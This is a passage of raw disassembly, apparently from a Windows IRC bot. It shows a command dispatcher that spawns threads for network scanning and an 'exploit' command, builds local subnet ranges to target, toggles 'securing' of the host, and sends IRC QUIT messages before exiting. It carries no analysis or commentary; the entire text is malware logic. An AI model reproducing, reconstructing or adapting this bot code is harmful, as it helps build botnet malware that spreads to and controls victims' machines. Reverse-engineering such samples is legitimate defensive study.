loc_403F1A:				; CODE XREF: sub_401ACD+1A09j
					; sub_401ACD+1A1Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F39
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BFFC
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403F39:				; CODE XREF: sub_401ACD+2450j
		push	ebx
		push	[ebp+var_4]
		call	sub_418723
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BFE0
		jmp	loc_40423F
; ---------------------------------------------------------------------------


loc_403F5B:				; CODE XREF: sub_401ACD+18A0j
					; sub_401ACD+18B5j
		push	0Ah
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403F6E
		push	offset unk_42BFB4
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A1B1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403F8A
		push	offset unk_42BF8C
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F8A:				; CODE XREF: sub_401ACD+24B4j
		push	offset unk_42BF6C


loc_403F8F:				; CODE XREF: sub_401ACD+249Fj
					; sub_401ACD+24BBj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_403F9D:				; CODE XREF: sub_401ACD+5781j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_403FB6:				; CODE XREF: sub_401ACD+6DA8j
		call	sub_409869
		add	esp, 14h


loc_403FBE:				; CODE XREF: sub_401ACD+24D3j
					; sub_401ACD+26B0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_4097D1
; ---------------------------------------------------------------------------


loc_403FCF:				; CODE XREF: sub_401ACD+1876j
					; sub_401ACD+188Bj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A5C5
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_403FE8:				; CODE XREF: sub_401ACD+184Cj
					; sub_401ACD+1861j
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416FCF
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_404005:				; CODE XREF: sub_401ACD+1822j
					; sub_401ACD+1837j
		or	edi, 0FFFFFFFFh
		call	dword_4270B0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40402E
		push	esi
		call	sub_41C159
		pop	ecx
		mov	edi, eax


loc_40402E:				; CODE XREF: sub_401ACD+2556j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_404047
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409644


loc_404047:				; CODE XREF: sub_401ACD+256Fj
		push	ebx
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF54
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_404085:				; CODE XREF: sub_401ACD+51BCj
		add	esp, 24h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40408D:				; CODE XREF: sub_401ACD+17F8j
					; sub_401ACD+180Dj
		push	27h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_4040BE
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BF34


loc_4040AB:				; CODE XREF: sub_401ACD+4F88j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		jmp	loc_408C05
; ---------------------------------------------------------------------------


loc_4040BE:				; CODE XREF: sub_401ACD+25CAj
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		mov	[ebp+var_B40], ebx
		jz	short loc_40411F
		push	esi
		push	offset aFull	; "full"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40411F
		mov	[ebp+var_B40], 1


loc_40411F:				; CODE XREF: sub_401ACD+2635j
					; sub_401ACD+2646j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BF10
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_419E38
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40418D


loc_404177:				; CODE XREF: sub_401ACD+26BEj
		cmp	[ebp+var_B34], ebx
		jnz	loc_403FBE
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_404177
; ---------------------------------------------------------------------------


loc_40418D:				; CODE XREF: sub_401ACD+26A8j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BED4
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403FBE
; ---------------------------------------------------------------------------


loc_4041AD:				; CODE XREF: sub_401ACD+17CEj
					; sub_401ACD+17E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4041CC
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BEBC
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4041CC:				; CODE XREF: sub_401ACD+26E3j
		push	[ebp+arg_4]
		call	dword_4CBA7C	; closesocket
		call	dword_4CB93C	; WSACleanup
		call	sub_4188A6
		push	ebx
		call	dword_42706C	; ExitProcess


loc_4041E7:				; CODE XREF: sub_401ACD+17A4j
					; sub_401ACD+17B9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AF8F
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BEA4
		jmp	short loc_40423F
; ---------------------------------------------------------------------------


loc_404212:				; CODE XREF: sub_401ACD+177Aj
					; sub_401ACD+178Fj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE8C


loc_40423F:				; CODE XREF: sub_401ACD+2489j
					; sub_401ACD+2743j
		call	sub_415D38
		add	esp, 18h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40424C:				; CODE XREF: sub_401ACD+1750j
					; sub_401ACD+1765j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415DD8


loc_404260:				; CODE XREF: sub_401ACD+3C8j
					; sub_401ACD+2516j ...
		add	esp, 10h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_404268:				; CODE XREF: sub_401ACD+1726j
					; sub_401ACD+173Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1598],	bl
		jz	short loc_4042A7
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042A7
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042A7
		push	eax
		push	offset aS_2	; "%s"
		lea	eax, [ebp+var_1598]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4042A7:				; CODE XREF: sub_401ACD+27A4j
					; sub_401ACD+27AFj ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1618]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_161C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1514],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1510],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BE74
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_1518],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_161C]
		push	ebx
		push	eax
		push	offset sub_415E4B
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_1518]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40434A


loc_404334:				; CODE XREF: sub_401ACD+287Bj
		cmp	[ebp+var_150C],	ebx
		jnz	loc_401F75
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_404334
; ---------------------------------------------------------------------------


loc_40434A:				; CODE XREF: sub_401ACD+2865j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BE3C
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_40435B:				; CODE XREF: sub_401ACD+16FCj
					; sub_401ACD+1711j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415CC0
		push	offset unk_42BE24
		call	sub_415D38


loc_404376:				; CODE XREF: sub_401ACD+23F9j
		add	esp, 10h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40437E:				; CODE XREF: sub_401ACD+16D2j
					; sub_401ACD+16E7j
		push	[ebp+var_88]
		lea	eax, [ebp+var_C5C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_C60], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_BD4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_BD0], eax
		jz	short loc_4043D8
		push	offset dword_42BE20
		push	esi
		call	sub_41CA50
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_BD8], eax
		jmp	short loc_4043DE
; ---------------------------------------------------------------------------


loc_4043D8:				; CODE XREF: sub_401ACD+28EFj
		mov	[ebp+var_BD8], ebx


loc_4043DE:				; CODE XREF: sub_401ACD+2909j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BE00
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_BDC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C60]
		push	ebx
		push	eax
		push	offset sub_40B425
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_BDC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40444C


loc_404436:				; CODE XREF: sub_401ACD+297Dj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_406C1F
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_404436
; ---------------------------------------------------------------------------


loc_40444C:				; CODE XREF: sub_401ACD+2967j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BDC4
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_40445D:				; CODE XREF: sub_401ACD+1656j
					; sub_401ACD+166Bj
		push	offset aScortiser ; "scortiser"
		push	offset unk_42BDAC


loc_404467:				; CODE XREF: sub_401ACD+29D9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_404494:				; CODE XREF: sub_401ACD+162Cj
					; sub_401ACD+1641j
		push	dword_4CB724
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	offset unk_42BD80
		jmp	short loc_404467
; ---------------------------------------------------------------------------


loc_4044A8:				; CODE XREF: sub_401ACD+1602j
					; sub_401ACD+1617j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4044DA
		cmp	[ebp+var_C], ebx
		jz	short loc_4044E9
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4044E9
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		jmp	short loc_4044E9
; ---------------------------------------------------------------------------


loc_4044DA:				; CODE XREF: sub_401ACD+29E4j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		pop	ecx


loc_4044E9:				; CODE XREF: sub_401ACD+29E9j
					; sub_401ACD+29F8j ...
		push	0FFFFFFFEh
		jmp	loc_401F77
; ---------------------------------------------------------------------------


loc_4044F0:				; CODE XREF: sub_401ACD+15D8j
					; sub_401ACD+15EDj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BD30
		call	sub_415D38
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_404512:				; CODE XREF: sub_401ACD+15AEj
					; sub_401ACD+15C3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BD00
		call	sub_415D38
		add	esp, 0Ch
		jmp	loc_4095AD
; ---------------------------------------------------------------------------


loc_404531:				; CODE XREF: sub_401ACD+1584j
					; sub_401ACD+1599j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA9E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404547:				; CODE XREF: sub_401ACD+155Aj
					; sub_401ACD+156Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA49
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_40455D:				; CODE XREF: sub_401ACD+1530j
					; sub_401ACD+1545j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B9DD
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404573:				; CODE XREF: sub_401ACD+1506j
					; sub_401ACD+151Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B90E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404589:				; CODE XREF: sub_401ACD+1461j
					; sub_401ACD+1476j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42BCF0
		push	offset dword_42BCE0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1437j
					; sub_401ACD+144Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BCD4
		push	offset dword_42BCC4
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045B9:				; CODE XREF: sub_401ACD+1050j
					; sub_401ACD+1065j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_4045DD
; ---------------------------------------------------------------------------


loc_4045D8:				; CODE XREF: sub_401ACD+2AF5j
					; sub_401ACD+2B00j
		mov	eax, dword_429074


loc_4045DD:				; CODE XREF: sub_401ACD+2B09j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404602
		push	esi


loc_4045EF:				; CODE XREF: sub_401ACD+2B44j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_404619
; ---------------------------------------------------------------------------


loc_404602:				; CODE XREF: sub_401ACD+2B1Fj
		cmp	[ebp+var_8FF], bl
		jz	short loc_404613
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_4045EF
; ---------------------------------------------------------------------------


loc_404613:				; CODE XREF: sub_401ACD+2B3Bj
		mov	[ebp+var_5A0], bl


loc_404619:				; CODE XREF: sub_401ACD+2B33j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41C360
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BC9C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset sub_411BCE
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4046CA


loc_4046B4:				; CODE XREF: sub_401ACD+2BFBj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401F75
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_4046B4
; ---------------------------------------------------------------------------


loc_4046CA:				; CODE XREF: sub_401ACD+2BE5j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42BC60
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4046DB:				; CODE XREF: sub_401ACD+FFDj
					; sub_401ACD+1012j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		test	ax, ax
		pop	ecx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		pop	ecx
		jmp	short loc_404701
; ---------------------------------------------------------------------------


loc_4046FB:				; CODE XREF: sub_401ACD+2C17j
					; sub_401ACD+2C23j
		mov	ax, word_429084


loc_404701:				; CODE XREF: sub_401ACD+2C2Cj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41C360
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BC34
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409869
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B3BA
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset sub_40EF1C
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4047D0


loc_4047BA:				; CODE XREF: sub_401ACD+2D01j
		cmp	[ebp+var_968], ebx
		jnz	loc_401F75
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_4047BA
; ---------------------------------------------------------------------------


loc_4047D0:				; CODE XREF: sub_401ACD+2CEBj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BBF4
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4047E1:				; CODE XREF: sub_401ACD+FA9j
					; sub_401ACD+FBEj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404809
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		mov	[ebp+var_AA8], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404813


loc_404809:				; CODE XREF: sub_401ACD+2D23j
		mov	[ebp+var_AA8], 1


loc_404813:				; CODE XREF: sub_401ACD+2D3Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_AA8], ebx
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_AA0], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40485A
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40485A:				; CODE XREF: sub_401ACD+2D86j
		push	eax
		push	offset dword_42BBC0
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_41A366
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4048CE


loc_4048B8:				; CODE XREF: sub_401ACD+2DFFj
		cmp	[ebp+var_A9C], ebx
		jnz	loc_4082DE
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_4048B8
; ---------------------------------------------------------------------------


loc_4048CE:				; CODE XREF: sub_401ACD+2DE9j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42BB84
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4048DF:				; CODE XREF: sub_401ACD+F7Fj
					; sub_401ACD+F94j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41ABFB


loc_4048F0:				; CODE XREF: sub_401ACD+2A75j
					; sub_401ACD+2A8Bj ...
		add	esp, 0Ch
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4048F8:				; CODE XREF: sub_401ACD+F55j
					; sub_401ACD+F6Aj
		push	offset unk_42BB34
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_404902:				; CODE XREF: sub_401ACD+F2Bj
					; sub_401ACD+F40j
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42BB24
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+F01j
					; sub_401ACD+F16j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404971
		push	esi
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		jl	short loc_404966
		cmp	eax, 3
		jge	short loc_404966
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40495B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD58
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_40495B:				; CODE XREF: sub_401ACD+2E6Dj
		push	eax
		push	offset unk_42BAF8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404966:				; CODE XREF: sub_401ACD+2E58j
					; sub_401ACD+2E5Dj
		push	eax
		push	offset unk_42BACC
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404971:				; CODE XREF: sub_401ACD+2E4Dj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_404976:				; CODE XREF: sub_401ACD+2EC5j
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404999
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404976
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_404999:				; CODE XREF: sub_401ACD+2EB9j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CD58
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4049B3:				; CODE XREF: sub_401ACD+ED7j
					; sub_401ACD+EECj
		push	[ebp+var_8C]
		push	offset dword_42CCD0
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403446
		call	sub_40B583
		push	ebx
		call	dword_42706C	; ExitProcess


loc_4049D9:				; CODE XREF: sub_401ACD+19B1j
		push	offset aGet	; "get"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A67
		cmp	dword_4CF190, ebx
		jz	short loc_404A01
		push	offset dword_4CEB70


loc_4049F7:				; CODE XREF: sub_401ACD+2F98j
		push	offset unk_42BA90
		jmp	loc_404A97
; ---------------------------------------------------------------------------


loc_404A01:				; CODE XREF: sub_401ACD+2F23j
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	dword_427214	; getsockname
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E24]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_E24]
		push	eax
		jmp	short loc_4049F7
; ---------------------------------------------------------------------------


loc_404A67:				; CODE XREF: sub_401ACD+2F1Bj
		push	edi
		call	dword_4CBA24	; inet_addr
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_404A7B
		push	offset unk_42BA50
		jmp	short loc_404A97
; ---------------------------------------------------------------------------


loc_404A7B:				; CODE XREF: sub_401ACD+2FA5j
		push	offset dword_4CEB70
		call	sub_41C890
		pop	ecx
		mov	dword_4CF190, 1
		pop	ecx
		push	edi
		push	offset unk_42BA24


loc_404A97:				; CODE XREF: sub_401ACD+2F2Fj
					; sub_401ACD+2FACj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_40349D
; ---------------------------------------------------------------------------


loc_404AAB:				; CODE XREF: sub_401ACD+199Cj
		push	[ebp+arg_8]
		push	offset aExploit	; "exploit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BB1
		mov	eax, [ebp+var_4]
		mov	esi, 80h
		mov	[ebp+var_13E8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F8],	eax
		push	offset aF	; "#f"
		lea	eax, [ebp+var_1478]
		push	esi
		push	eax
		mov	[ebp+var_13F0],	1
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_14F8]
		push	offset aF	; "#f"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	edi
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B9EC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_13EC],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1508]
		push	ebx
		push	eax
		push	offset sub_40BB65
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_13EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_404BA0


loc_404B8A:				; CODE XREF: sub_401ACD+30D1j
		cmp	[ebp+var_13E0],	ebx
		jnz	loc_4081AD
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_404B8A
; ---------------------------------------------------------------------------


